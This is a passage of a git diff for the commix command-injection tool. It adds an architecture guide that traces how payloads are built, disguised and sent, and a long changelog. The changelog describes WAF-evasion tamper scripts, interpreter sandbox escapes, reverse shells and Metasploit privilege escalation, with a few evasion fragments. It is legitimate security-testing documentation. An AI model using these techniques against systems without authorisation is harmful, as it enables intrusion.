Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 \ No newline at end of file diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md new file mode 100644 index 0000000000..80b356fdc9 --- /dev/null +++ b/doc/ARCHITECTURE.md @@ -0,0 +1,285 @@ +# How commix is put together + +Written for somebody about to change something and wanting to know what they are standing on. It +follows a payload: where it is built, what it is wrapped in, how it leaves, what is made of the +answer, and what survives to the next target. The source settles anything this disagrees with. + +## A payload's journey + +A run is one loop around a target, and a target is one loop around its parameters. + +`commix.py` checks the interpreter and hands over to `src/core/main.py`. `run()` settles what can be +settled before there is a target at all - `src/core/startup.py: bootstrap()` - and then finds the +targets: a URL, a request file, a proxy log, a bulk file, a crawl, a sitemap, standard input. + +For each of them `main()` connects once and reads that answer for everything it can tell: the +character encoding, the web server, the technology behind it, the operating system. The page itself +is kept (`requests.capture_original_page()`), because what a parameter is later compared against, +what the forms are parsed out of and what the proof is written from all want the same page, and none +of them is worth a second request. + +Then `controller.do_check()`, and from there the shape is: + + perform_checks() which places are tested, and in what order + injection_process() one parameter: heuristics, then technique after technique + do_injection() a finding - report it, store it, go on to exploitation + +`perform_checks()` walks the URL, the POST body, the cookies, the standard headers and any custom +header. How far down that list it gets is what `--level` decides. + +## What is being injected into + +Two different things, and the distinction runs through the whole tree. + +**A shell.** The value is handed to a command. A payload is a command chained onto the original with +a separator, and what makes it work is the shell's syntax. + +**An evaluator.** The value is evaluated as code in the application's own language (`--eval`). A +shell separator means nothing here - a semicolon is a semicolon in a PHP statement, not a chain. The +payload has to be valid code in the language doing the evaluating. + +The techniques are the same for both, so the two sinks are two sets of payload builders behind one +set of handlers: + +| | shell | evaluator | +|--|-------|-----------| +| payloads | `src/core/techniques//*_payloads.py` | `src/core/eval/payloads/.py` | +| where the syntax comes from | the target's shell | `src/core/eval/grammars/php.py`, `python.py` | + +A grammar carries its own probe, the functions that run a command, the boundaries that break into an +evaluated string and close it again, and the print statement results come back through. Teaching +commix another language is a new module in `grammars/` and nothing else. + +## The techniques + +Each one is three modules with the same shape, and reading them in this order is the fastest way to +understand any of them: + + *_payloads.py what gets sent + *_injector.py sending it and reading the answer + *_handler.py running the technique, and pulling output through it once it works + +| Technique | Package | Asked for with | Where the answer is read | +|-----------|---------|----------------|--------------------------| +| results-based | `techniques/results_based/` | `--technique=r` | the page | +| dynamic code evaluation | `eval/` | `--eval=` | the page | +| boolean-based | `techniques/boolean_based/` | `--technique=b` | which of two pages the answer resembles | +| time-based | `techniques/time_based/` | `--technique=t` | how long the answer took | +| file-based | `techniques/file_based/` | `--technique=f` | a file under the web root | +| tempfile-based | `techniques/tempfile_based/` | under `f`, where the web root cannot be written | a file in a temporary directory | +| out-of-band | `techniques/oob/` | `--oob` | a request the target makes to a server you control | + +`AVAILABLE_TECHNIQUES` is `r`, `b`, `t`, `f` and nothing else. Out-of-band is kept out of it on +purpose: it is a switch, so that the modules can use it too, and those never go through +`--technique`. The evaluator composes with the four letters rather than replacing them - +`EVAL_TECHNIQUE_LETTER` is what it went by before `--eval` existed, kept so that stored sessions +still read, and `c` is what results-based was called before it was renamed. + +Every blind technique retrieves a character at a time and bisects on its ordinal. The payload +therefore asks a yes/no question, and the technique's own channel - a delay, a file, a request made +elsewhere, the page itself - carries the yes. Only the boolean-based one pays nothing for asking, +which is also why it alone can overlap its requests: nothing is being measured, so `--threads` +speeds it up where it would corrupt a technique reading the clock. + +## Building the payload + +A command becomes a payload by being wrapped and carried. + +**Boundaries.** `settings.PREFIXES`, `SUFFIXES` and `SEPARATORS`, narrowed to the level in force by +`apply_injection_level()`, which reads them off the `_LVL1/2/3` lists. +`handler.py: _boundary_combinations()` walks every combination worth sending and drops the ones that +collapse onto something already tried - a prefix that is itself a separator arrives as the empty +prefix that was tried first, and a suffix is dead against a payload that has already closed itself. + +**Choosing among them.** `--test-filter` and `--test-skip`, through `checks.test_selected()`, asked +of every boundary rather than of the technique as a whole. + +**Whitespace.** `settings.WHITESPACES`, which a tamper script is allowed to rewrite. + +**Tampering.** One script per file in `src/tamper/`. A script defines `tamper(payload)` and hands it +back rewritten. Where a script needs the whole request instead of the payload, `xforwardedfor.py` is +the precedent, hooked in `headers.do_check()`. `checks.tamper_scripts()` loads them and +`perform_payload_modification()` applies them in order. + +**Carriers.** Where the parameter's value arrived written in something - Base64, hex, whatever +`--param-encoding` names or detection worked out - the payload is written out the same way. A value +answered in a different encoding from the one it came in is not that parameter's value. + +## Getting it there and back + +`src/core/requests/` + +Every request leaves through one door. `headers.check_http_traffic()` builds the opener, applies the +policy, sends, reads and logs. A caller that wants to read or time the answer itself goes through +`headers.send_raw()`, which still applies the policy and is still counted. `requests.py` is what the +rest of the code actually calls: `get_request_response()`, the per-technique request builders, the +page-stability check. + +Two things to know before changing anything here, both learned the hard way: + +- **`settings.TOTAL_OF_REQUESTS` is not just a tally.** `stability.should_keep_retrying()`, + `expand_retry_budget()` and `request_was_retried()` all read it. Count a request without growing + the budget beside it and the retry loop starves - after which every later request quietly falls + through to a bare fallback, taking the traffic log, the proxy and the redirect handling with it. +- **What is applied to one request path has to be applied to all of them.** `--retry-on` was once + honoured on the technique's requests but not on the two samples the stability check compares, and + that alone was enough to make a target that refuses at random look uninjectable: the two samples + differed, so the element the result prints into was set aside as noise for the rest of the run. + +The rest is one concern per file - `anticsrf.py`, `authentication.py`, `cookies.py`, +`redirection.py`, `keepalive.py`, `chunked.py`, `proxy.py`, `tor.py`, `hooks.py` for +`--preprocess`/`--postprocess`, `mining.py` for `--mine-params`/`--mine-endpoints`, and +`reproduce.py`, which writes a finding out as a command you can run yourself. + +### What a body is made of + +`parameters.py` decides what counts as a parameter. A POST body is recognised by its shape and split +accordingly, in `configure_post_data_format()` and `split_post_parameters()`: + +| Shape | Flag | Split into | +|-------|------|------------| +| form | - | `name=value` pairs | +| JSON | `IS_JSON` | members, flattened, named by the path they sit at | +| SOAP/XML | `IS_XML` | elements, keeping the layout so the document can be rebuilt | +| GraphQL | `IS_GRAPHQL` | the document cut after each argument, so the pieces joined are the document again | + +A structured body is never form-encoded. It escapes for its own syntax and goes out under its own +content type, because a percent-encoded payload inside a JSON string is not a payload any more. + +## Deciding what it means + +`src/core/controller/checks.py` is the biggest file in the tree and holds everything that is not one +technique's business: the heuristics, the false-positive re-check, page comparison and dynamic-region +marking, protection handling, option validation, and the wording of what gets reported. + +For one parameter the order is: whether it is dynamic at all (`--skip-static`), whether it is worth +the full set (the heuristic), then technique after technique until one confirms - and then the +finding is re-proved before anybody is told about it. + +## Once it works + +| File | What it does | +|------|--------------| +| `controller/handler.py` | runs a command through the confirmed point and reads the output back | +| `controller/injector.py` | the retrieval loop, threaded where the technique allows | +| `controller/enumeration.py` | the target facts `--all` and its friends ask for | +| `controller/file_access.py` | `--file-read`, `--file-write`, `--file-dest` | +| `controller/shell_options.py` | the `--os-shell` prompt | +| `controller/proof.py` | `--proof` - re-prove every finding and write the transcript beside the output | +| `core/shells/` | the shells themselves: reverse and bind TCP, the relay, the modes | + +## What survives + +**Within a run**, from one target to the next: nothing learned about one may read as true of +another. `settings.reset_target_state()` records a baseline the first time it runs and restores it +for every target after. `RUN_WIDE_STATE` names what is exempt - what the user asked for, what has +been answered once and should not be asked again, the tallies kept across targets. Everything else +is per-target, and **a new name is per-target unless it is listed**; the omission that used to leak +is now the safe direction. `RESTORED_OPTIONS` covers the options a target's own testing can change +and which the next target is entitled to see as the user left them. + +**Between runs**: `src/utils/session_handler.py`, one SQLite file per target holding the injection +points and what was learned, which is why a second run answers at once. `--flush-session` discards +it, `--ignore-session` leaves it in place and ignores it. + +**On disk**: `.output/_/` (`settings.OUTPUT_DIR`), with `logs.py` writing the run's own +log, `--report-json` and `--results-file`; `-t` writing the HTTP traffic from `headers.py`, and +`--har` writing it through `src/utils/har.py`. The JSON report is rewritten whenever it grows, and +renamed into place rather than written in, so that something watching it never reads it halfway +through a rewrite. + +## Driving it from somewhere else + +`commixapi.py` serves a REST API over `src/utils/api.py`, in which a scan is a **task**: created, +given options under the names the command line knows them by, started, then read while it runs and +after it ends. `Task` holds one, `Store` holds them all, and `ROUTES` maps an address to the method +that answers it. + +A task runs commix as a process of its own, started from a configuration file written with +`parse/configfile.py: save()` - the same file `-c` loads. It has to be a process: a run is settled +in module-level state written once and read everywhere, so two of them inside one would be one run +with two sets of answers. + +The API reads nothing of its own. `/scan//data` hands back the `--report-json` file the run is +writing, which is why a run started from a command line and one started over HTTP cannot answer +differently; `/scan//log` parses what the process printed. The report carries a `status` from +the moment it is opened, and `logs.py: finalize_report()` settles it at every way out - including +the two that never unwind, `--time-limit`'s alarm and `checks.exit()`. + +`api` in `/version` is the version of the contract, counted apart from commix's own, so a client +can tell whether it still knows how to talk to a newer one. + +## Where things live + +| Path | What is in it | +|------|---------------| +| `src/core/main.py` | the run | +| `src/core/parse/` | the command line, the configuration file, a raw request file | +| `src/core/controller/` | orchestration, detection, exploitation, enumeration, proof | +| `src/core/requests/` | everything that reaches the network, and what a parameter is | +| `src/core/techniques/` | one package per technique | +| `src/core/eval/` | the evaluator sink - its grammars and its payloads | +| `src/core/oob/` | the out-of-band channel, its provider and its keys | +| `src/core/shells/` | interactive shells and the TCP handlers | +| `src/core/modules/` | injection that needs no ordinary parameter | +| `src/tamper/` | payload-rewriting scripts | +| `src/utils/` | settings, session, logs, crawler, progress, install, update, the REST API | +| `src/thirdparty/` | bundled libraries, so that a run needs nothing installed | +| `data/txt/` | word lists read at runtime | +| `tests/` | the offline suite, which no run of commix itself reaches | + +Two objects carry the run, and neither is passed around - both are imported where they are read. +`src/utils/settings.py` holds the constants and the mutable run state, and is where a new constant +goes. `menu.options` holds what the user asked for, as `optparse` produced it. + +Names are `lower_snake_case`, constants `UPPERCASE`, indentation is two spaces, and every comment +and docstring is one line. + +## Adding something + +| To add | Start at | +|--------|----------| +| an option | `parse/cmdline.py`, then `core/options.py: validate()` for combinations that cannot hold | +| a constant | `utils/settings.py` | +| a tamper script | a file in `src/tamper/`, then the registry in `settings.TAMPER_SCRIPTS` | +| a technique | a package under `core/techniques/`, then `execution.select_injector()` and `settings.TECHNIQUE_ORDER` | +| a language for `--eval` | a module in `core/eval/grammars/` | +| a body format | `parameters.configure_post_data_format()` and `split_post_parameters()` | +| a module | the `MODULES` map in `core/modules/modules_handler.py`, and `settings.MODULES` | +| an API address | `ROUTES` in `utils/api.py`, then the method of the same name on `Api` | + +And when something is already wrong: the wire is `requests/headers.py`, whether a parameter was +tested at all is `controller.py: perform_checks()`, whether a finding was believed is `checks.py`, +what a run remembers is `session_handler.py`, and state bleeding from one target into the next is +`settings.RUN_WIDE_STATE`. + +## Checking a change + +Four layers, none of which needs a target. + +`tests/` is an offline suite written against the standard library's `unittest` alone - nothing to +install, no network, and no payload leaving the machine. It pins what reading the code does not +catch: that no payload and no tamper script carries an operator other than the separator under +test, that a script declared for one shell answers for the other, that a rewrite leaves a command's +arguments as they were given, that every grammar declares what the techniques ask it for, and that +the word lists hold no repeat. Run it from the root with +`python -m unittest discover -s tests -t .`. + +A sweep that finds nothing must not pass, so each one counts what it swept before it reads it - +a suite that quietly stopped looking is the one failure none of the assertions below it would show. + +`--smoke-test` imports every module in the tree, which catches a name that moved or a file that +stopped parsing - neither of which the suite above would reach - and then runs the examples each +module's own docstrings carry, as doctests. An example that stops holding fails the smoke test. + +`pyflakes` is the layer before either: a name that moved, an import left behind, a variable read +before it is set. None of those raises until the line is reached, and most of those lines are only +reached against a target, so nothing else here would find them. + +`coverage` measures the first two together against two floors. The whole-tree one is dominated by +the modules that only run against a target - the orchestration, the request layer - which no +offline suite reaches, so on its own it would ratchet nothing; the second covers what a payload is +built out of, where a change lands and where the suite can hold a real line. Both are floors to +raise rather than targets to argue with. + +All four run in `.github/workflows/builds.yml`, alongside the API's own start-up. diff --git a/doc/AUTHOR b/doc/AUTHOR deleted file mode 100644 index 0f42877870..0000000000 --- a/doc/AUTHOR +++ /dev/null @@ -1,2 +0,0 @@ -Anastasios Stasinopoulos -https://stasinopoulos.github.io/ diff --git a/doc/AUTHOR.md b/doc/AUTHOR.md new file mode 100644 index 0000000000..765c904dbb --- /dev/null +++ b/doc/AUTHOR.md @@ -0,0 +1,7 @@ +Author and core maintainer of **Commix Project**: + +**Anastasios Stasinopoulos** (**[@ancst](https://x.com/ancst)**) + +[`Site`](https://stasinopoulos.github.io/) • [`GitHub`](https://github.com/stasinopoulos) • [`X`](https://x.com/ancst) • [`Email`](mailto:a.stasinopoulos@protonmail.com) + +Everyone who has given something to commix is listed in [`THANKS.md`](THANKS.md). diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 605a451e9a..ffc3945fb5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,59 +1,414 @@ +## Version 4.2 (TBA) +* Revised: Tamper script `printf2echo.py` now switches every payload, both detection and exploitation, from `printf` to `echo`, for a target that refuses `printf` by name. +* Fixed: Command output carrying a backslash (e.g. "C:\temp\new") or starting with "-n", which came back altered because payloads printed it with "echo". +* Added: New tamper script `phpregreplace.py`, carrying a payload through the replacement string of a PHP sink evaluated by `preg_replace()`'s "e" modifier. +* Fixed: The switch `--null-connection`, which reads no page body, was left to run alongside an option that reads one (`--string`, `--not-string`, `--regexp`, `--text-only`, `--titles`), leaving every boolean answer the same. +* Added: New switch `--titles`, comparing pages by their title alone - for a target whose page moves by itself everywhere except the line naming what it rendered. +* Fixed: Payload generation for certain separator and tamper script combinations, which could produce a payload the shell cannot run. +* Fixed: Retrieval of non-ASCII execution output, which could come back incomplete. +* Added: An offline test suite, run with `python -m unittest discover -s tests -t .`, covering the payload builders, the tamper scripts, the evaluator grammars and the word lists. +* Added: New tamper script `luadebugescape.py`, reaching a Lua sink evaluated with a restricted environment through `debug.getregistry()._LOADED`. +* Added: New `--eval=lua` support, for a sink evaluating Lua. +* Added: New `--eval=perl` support, for a sink evaluating Perl. +* Added: New tamper script `space2randomblank.py`, varying the whitespace substitute per occurrence instead of one for the whole payload. +* Added: New tamper script `basicobjectescape.py`, reaching a Ruby sink evaluated inside a `BasicObject`. +* Added: New tamper script `pybuiltinsescape.py`, reaching a Python sink evaluated with `{"__builtins__": {}}`. +* Added: New tamper script `nashornexec.py`, reaching a sink evaluating JavaScript through Java's Nashorn engine rather than Node. +* Added: New tamper script `jsvmescape.py`, escaping a Node `vm` sandbox to reach `require()`. +* Fixed: PHP code injection (`--eval=php`) not closing its own statement at the default level. +* Added: New tamper script `phpnosymbols.py`, rewriting a PHP eval-sink payload for filters blocking digits and quotes. +* Added: New tamper script `noletters.py`, globbing a bare command name for targets blocking every letter. +* Added: The out-of-band channel now falls back through five more public interactsh servers if `oast.fun` does not answer. +* Added: The out-of-band DNS lookup on Windows now also tries `Resolve-DnsName`, alongside `nslookup`. +* Added: New options `--lengths` (bisect the boolean-based technique on content length instead of content) and `--null-connection` (read that length off the `Content-Length` header, with no body downloaded at all, past a minimum page size). +* Fixed: `--skip-static` could mark a genuinely injectable parameter as static and skip it, against a target whose response is never byte-identical twice (e.g. a live `ping`). +* Added: `-l`/`--logfile` now also reads a HAR export (the format `--har` itself writes to), alongside the proxy-log and XML-history formats it already read. +* Added: New tamper script `printfoctal.py`, hiding command names/paths via `printf` octal escapes (`$(printf '\143\141\164')`), for shells lacking `ansiquote`/`ansiquoteoctal`'s ANSI-C quoting (e.g. `dash`). +* Fixed: `--csrf-token` without `--csrf-url` crashing the run (discarding already-confirmed findings) whenever an auxiliary request, such as document-root discovery, didn't carry the token. +* Added: WAF/CDN product identification (`Cloudflare`, `Akamai`, `Imperva Incapsula`, `F5 BIG-IP ASM`, `Sucuri`, `ModSecurity`, `FortiWeb`, `Citrix Application Firewall`, `Barracuda WAF`, `Wallarm`, `AWS WAF`) on a blocked response, named in the "blocked IP", "browser verification" and "CAPTCHA" warnings as well as the generic WAF/IPS one. +* Added: New `commixapi.py` for driving runs over a REST API, as a server or a client, each scan a task of its own with its options, status, results and log. +* Added: New option `-z` for naming options by as much of their name as tells them apart (e.g. `-z "flu,bat,tec=rt"`). +* Added: New switch `--dependencies` for reporting which of the third-party libraries and tools each option needs are installed on this host. +* Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php`, `ruby` and `openssl`. +* Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point. +* Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`. +* Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically. +* Added: New option `--pty` for upgrading a plain reverse/bind TCP shell to a full interactive PTY. +* Added: New option `--priv-esc` for running Metasploit's `local_exploit_suggester` automatically the instant a Meterpreter session opens. +* Added: New option `--cleanup` for removing what `--file-write` or `--reg-add` just wrote to the target. +* Added: New option `--common-files` for checking a bundled wordlist of common sensitive paths for existence on the target, as a lead into `--file-read`. +* Added: New options `--reg-read`, `--reg-add` and `--reg-del` for reading, writing and deleting a Windows registry key (value), with `--reg-key`/`--reg-value`/`--reg-data`/`--reg-type`. +* Added: New tamper script "dashlesstest.py", that runs `test`'s numeric comparisons without a `-` of their own, for a target that strips a bare `-` outright. +* Added: New tamper script "phpnoletters.py", that runs `--eval=php` payloads with no ASCII letter in them, reaching PHP's own execution functions through a name built from octal escapes. +* Added: Support for PowerShell code injection through the `--eval=powershell` language. +* Added: Support for Node code injection through the `--eval=javascript` language. +* Added: Support for Ruby code injection through the `--eval=ruby` language. +* Added: New option `--skip-subst` that confirms the time-based technique with a plain, uncomputed delay, instead of command substitution. +* Added: New tamper script `cmd2redir.py` that rewrites a user-supplied `command path` as `command<>path`, folding away the one space between them for a target that lets no whitespace through at all. +* Added: New tamper script `unicodequote.py` that replaces single quotes with the fullwidth apostrophe (`U+FF07`), for filters that strip a literal quote before a later Unicode normalization step folds it back into one. +* Added: New tamper script `space2ifsraw.py` that replaces spaces with `$IFS$9` (no braces, no quotes), for filters that block both at once. +* Added: New tamper script `ansiquoteoctal.py` that rewrites command names and paths as ANSI-C quoted octal escapes, for filters that block every letter (including the 'x' `ansiquote`'s hex escapes need). +* Revised: The file-based technique's temporary-directory variant now reads the created file through a calibrated Boolean-based oracle where possible, falling back to delay-based reading. +* Added: New option `--auth-file` for authenticating with a client certificate during the TLS handshake instead of using authentication headers. +* Added: New switch `--hpp` for sending a tested parameter twice, placing the payload in the occurrence read by the target and a filter-accepted value in the one inspected. +* Added: New option `--openapi` for deriving targets from an OpenAPI (Swagger) description, with `--openapi-base` for a specification that names no host of its own and `--openapi-tags` for taking only part of a large API. +* Added: New boolean-based blind injection technique, reading its answer off the page rather than off a delay, with `--string`, `--not-string`, `--regexp` and `--code` for saying what a true answer looks like. +* Added: New switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name. +* Added: New tamper script `phpserverheaders.py` that moves the function and the command out of the payload and into HTTP headers it reads back through `$_SERVER`. +* Added: New options `--preprocess` and `--postprocess` for reshaping a request before it is sent and a response before the run reads it, which a tamper script cannot reach. +* Added: New options `--test-filter` and `--test-skip` for choosing which payload boundaries a technique is tried with. +* Added: New options `--save` and `-c` for keeping the options a run was given in a configuration file, and running from one. +* Added: New option `--har` for logging the run's HTTP traffic in the archive format proxies and browsers read. +* Added: New option `--results-file` for collecting the findings of every target tested into a CSV file. +* Added: New switch `--parse-errors` for parsing known shell and interpreter error signatures from responses. +* Revised: Text resource files were moved from the `src/txt` to the `data/txt` directory. +* Added: Summary of the identified command shell, web application technology and operating system, printed after the injection point(s). +* Added: New switch `--proof` for demonstrating exploitation of each injection point found, with the evidence written beside the run's other output. +* Added: New switch `--cleanup` for removing the file a technique left on the target, without being asked about it. +* Revised: The shellshock module is now selected with `--module`, which takes the name of any registered injection module. +* Improved: Enhanced HTTP error handling and response stability detection, with clearer handling of target-side errors, unstable content, and non-testable HTTP responses. +* Improved: Replaced the `base64encode.py` and `hexencode.py` tamper scripts with the new `--param-encoding` option for handling encoded parameter values. +* Added: New switch `--text-only` for comparing pages based only on their textual content. +* Fixed: Switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests. +* Added: New switch `--eta` for showing how much of the output is left to retrieve and how long it is expected to take. +* Added: New switch `--no-truncate` for showing the retrieved output in full. +* Added: New switch `-hh`, with `-h` now listing the options a first run is made of. +* Added: Bundled the "chardet" library and a built-in Brotli decoder to handle pages regardless of their character encoding or compression format. +* Added: New options `--second-url` and `--second-req` for reading the result of an injection from the page it shows up on. +* Added: New options `--csrf-token`, `--csrf-url`, `--csrf-method`, `--csrf-data` and `--csrf-retries` for testing targets that check an anti-CSRF token. +* Added: New options `--proxy-file`, `--proxy-freq` and `--proxy-cred` for using a list of proxies and the credentials they ask for. +* Added: Support for SOCKS4/5 proxies given with the `--proxy` option. +* Added: New option `--retry-on` for repeating a request whose response content matches a given regexp. +* Added: New options `--safe-url`, `--safe-post`, `--safe-req` and `--safe-freq` for visiting a harmless URL every so many requests. +* Added: New switch `--unstable` for doubling the delay, the retries and the timeout on an unreliable connection. +* Added: Bundled the "PySocks" library, so that the Tor service can be reached over SOCKS directly. +* Added: New switches `--skip-urlencode` and `--skip-xmlencode` for sending payload data without the encoding a carrier would otherwise get. +* Added: New options `--param-exclude` and `--param-filter` for choosing testable parameters by name and by place. +* Added: New option `--tor-type` and new switch `--check-tor` for choosing how Tor is reached and confirming that traffic goes through it. +* Revised: Payload data placed in a SOAP/XML body is now encoded for the document, keeping it well-formed. +* Added: New switch `--ignore-timeouts` for skipping requests that time out, instead of ending the run. +* Added: New switch `--skip-static` for skipping the parameter(s) that do not appear to be dynamic. +* Added: New switch `--disable-stats` for reading time-related results against the delay alone. +* Added: New option `--jitter` for adding a random number of seconds to the delay between requests. +* Added: New option `--randomize` for giving the value of the given parameter(s) a new value per request. +* Revised: Characters that the time-related techniques never resolved are re-attempted once, and marked in the retrieved output instead of being dropped from it. +* Added: New tamper script `pyhexname.py`, that runs the command through a Python module and function named in hex. +* Added: New tamper script `phpconcat.py`, that runs the command through a PHP function named in concatenated pieces. +* Added: New option `--type` to select injection techniques by the injection type they report (i.e. `c` for classic, `b` for blind). +* Revised: Renamed the "classic" technique to "results-based", after how its result comes back, so `--technique` now takes the letters `r`, `t` and `f` (e.g. `--technique="rtf"`). +* Revised: The "file-based" technique is now reported as a "blind" injection type. +* Added: New tamper script `phphexname.py`, that runs the command through a PHP function named in hex. +* Added: New tamper script `sleep2ping.py`, that replaces `sleep` with the wait between `ping` packets in a given payload. +* Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables. +* Added: New tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards. +* Added: New tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex. +* Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion (`{a,b}`) in a given payload. +* Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk (`$*`) between the characters in a given payload. +* Added: New tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator. +* Added: Code injection now supports Python as well as PHP, over every technique. +* Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based. +* Added: New `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique`. +* Fixed: The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||`. +* Fixed: Several issues affecting the response-time model, the identification of the target's operating system, stored session data, and the files left on the target. +* Fixed: Several issues affecting the parsing of the provided request data and the placement of the injection point. +* Fixed: A parameter given with `-p` no longer stops anti-CSRF parameters from being skipped everywhere else. +* Fixed: HTTP error codes met during a scan are no longer added to the list of codes given with `--ignore-code`. +* Added: Parameters holding session or framework state (e.g. "__VIEWSTATE", "PHPSESSID") are skipped unless asked for by name. +* Fixed: Recognition of anti-CSRF ("nonce") and Google Analytics ("_ga", "_gid", "_gat", "_gcl_au") parameters. +* Fixed: The reduced number of retries for multiple targets is applied again. +* Added: The delay between requests is raised by itself when the target starts rate-limiting, and lowered again once it stops. +* Added: Each identified injection point is now reported with a `curl` command that reproduces it. +* Added: New `--load-cookies` option to load cookies from a file in Netscape/wget format. +* Added: New `--live-cookies` option to re-read cookies from a file before every request, following a session that is refreshed elsewhere. +* Added: The JSON report now records whether a WAF/IPS was detected and which evasion was applied. +* Fixed: A blocked WAF/IPS detection probe is no longer treated as an unreachable target. +* Added: New `--chunked` switch to split POST data into HTTP chunked transfer-encoded requests. +* Added: New `--scope` option to filter targets by regular expression. +* Added: Support for testing multiple HTTP requests parsed from a single request or proxy log file. +* Fixed: Request file parsing preserves multi-line bodies and original header names. +* Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. "host") are no longer treated as headers. +* Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support. +* Added: New `-o` switch to turn on all optimization switches. +* Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive` switch to opt out. +* Added: New `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction. +* Added: New `--report-json` option to store run results to a JSON file. +* Added: New `--abort-on-empty` switch to abort data retrieval on empty results. +* Revised: Renamed `--alter-shell` to `--interpreter` for clarity. +* Added: New `--os-shell` switch to directly request a command shell. +* Revised: Improved crawling reliability against HTTPS targets. +* Revised: Improved stdin parsing to stream targets for use with piped/chained input. +* Revised: Improved detection engine reliability when choosing to continue testing. +* Fixed: Improved heuristic detection reliability to reduce false positives. +* Revised: Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection. +* Revised: Improved crawled form handling, including interactive review before testing and correct parameter-type labeling. +* Fixed: Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling. +* Fixed: Improved tamper script handling reliability, including duplicate/invalid input and error handling. +* Fixed: Improved encoding handling reliability to prevent unhandled Unicode errors during scans. +* Revised: Improved `--interpreter` character extraction to bisect instead of scan linearly. +* Added: Dynamic parameter detection to identify parameters whose values change between requests. +* Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions. +* Fixed: Benign patterns like `Accept: */*` are no longer misdetected as a custom injection marker. +* Fixed: Refactored `--disable-coloring` switch to reliably strip ANSI color codes from output. +* Revised: Improved `--time-limit` to reliably abort the scan at the configured limit. +* Fixed: Improved login authentication to correctly capture cookies and submit via POST. +* Revised: Improved file-read reliability by checking file existence before extraction. +* Revised: Improved HTTP error handling reliability and performance. +* Revised: Optimized parameter detection by skipping unnecessary value retrieval during testing. +* Revised: Improved data extraction performance for time-related techniques. +* Fixed: Resumed stored techniques are trusted immediately, without a redundant live re-check. +* Fixed: Improved reliability of HTTP error handling to avoid duplicate requests and inaccurate delay measurements. +* Revised: Improved `--purge` switch only to clear the current target's session. +* Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans. +* Added: Interactive Ctrl-C handling during detection and exploitation, with cleaner exit handling. +* Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques. +* Fixed: Improved timing-delay reliability and thread-safety for time-related techniques. +* Revised: Improved redirect handling and connection performance. +* Fixed: Multiple bug-fixes affecting the reliability of `--tmp-path` and `--web-root`. +* Revised: Improved validation and error handling reliability for file access options (i.e. `--file-write`/`--file-dest`/`--file-read`). +* Revised: Improved target parsing performance and reliability for stdin and `-m` (bulk-file) input. +* Added: New `--forms` switch to parse and test forms on the target URL (requires `--crawl`). +* Revised: Improved stored-session resume handling. +* Revised: Improved parameter parsing and injection point detection across all supported request formats. +* Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques. +* Revised: Refactored time-related techniques (i.e. "time-based", "tempfile-based") to use binary search for character extraction. +* Revised: Refactored `--tor` proxy handling to route HTTP traffic using the configured URL scheme. +* Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md). +* Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md). +* Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed. +* Removed: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. +* Revised: Refactored `--time-sec` option to apply only to time-related techniques. +* Removed: The deprecated `--tor-check` switch has been removed, and Tor connectivity is now handled internally with no separate check option. +* Revised: Improved handling of injectable parameters in JSON objects. +* Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders. +* Added: Standardized JSON output formatting with 2-space indentation. +* Revised: Improved JSON data handling to safely flatten/unflatten mixed nested structures. +* Revised: Refactored GitHub issue reporting; automatic submission replaced by manual sanitized reports. + +## Version 4.1 (2025-12-20) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Fixed: Improved handling of parameter names containing non-ASCII characters. +* Fixed: Improved handling of non-ASCII characters in URLs to ensure proper request encoding. +* Revised: Refactored with improved page decompression and safer HTTP response handling. +* Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected. +* Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded. +* Revised: Improved handling of URL redirections and associated HTTP responses. +* Revised: Improved prompts when merging or applying server-set cookies. +* Added: New switch `--http1.0` to force all outgoing requests to use `HTTP/1.0` protocol. +* Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. +* Revised: Enhanced injection logic with better handling of custom injection marker (i.e. asterisk `*`) and improved tracking of tested parameters. +* Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers). +* Revised: Improved heuristics for processing custom HTTP headers to correctly 